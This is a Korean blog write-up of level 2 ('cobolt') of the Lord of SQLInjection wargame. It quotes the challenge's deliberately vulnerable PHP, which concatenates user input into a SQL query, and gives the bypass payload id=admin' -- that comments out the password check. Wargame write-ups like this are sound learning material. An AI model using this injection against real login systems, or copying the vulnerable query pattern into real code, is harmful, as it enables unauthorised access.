본문 바로가기
Wargame/Lord of SQLInjection

[Lord of SQLInjection] Level02 write-up

by jjudy 2021. 10. 14.

LOS Level 02번 문제를 풀어보자.

 

cobolt 문제

 

 

 

 

풀이 과정

 

1.  $_GET[id]  $_GET[pw] 를 통해 id와 pw를 사용자 입력값으로 받고 있다.

 

 

 

 

2.  preg_match() 함수는 $_GET[id] $_GET[pw]로부터 입력받은 값에서 'prob', '_', '.', '\' 값이 있을 시 No Hack~_~ 화면으로 넘어가게 된다. 그러므로 필터링되는 값을 우회해서 공격해야 한다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

 

 

 

3. 다음 문장은 입력받은 id와 pw를 값을 찾아서 $query 변수에 저장하는 쿼리문이다.

$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";

 

 

 

 

4. 값을 찾은 쿼리문을 출력하고,$result['id']가 admin 일 때  문제를 풀 수 있다.  id가 admin이 아닐 시에는 You are not admin :(을 출력한다.  id를 admin으로, pw 부분은 주석처리 해주자.

echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";

 

 

 

 

풀이

 

값을 넣을 때는 URL 끝에 ?id = 값&pw=값 이런 식으로 넣어주면 된다.

 

id를 사용자 입력값으로 받으므로, admin을 넣어준다.

쿼리문을 select id from prob_cobolt where id='admin' -- ' and pw=md5('') 이렇게 해준다.

where id='admin'으로 넣어주고, 뒷 부분(pw)은 -- 주석처리를 해줌으로써 id가 admin이 되므로 문제가 풀리게 된다.

 

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin' --%20

 

 

 

 

COBOLT Clear!가 뜨게 된다.

 

 

 

 

문제 풀이 사이트

https://los.rubiya.kr/

 

 

댓글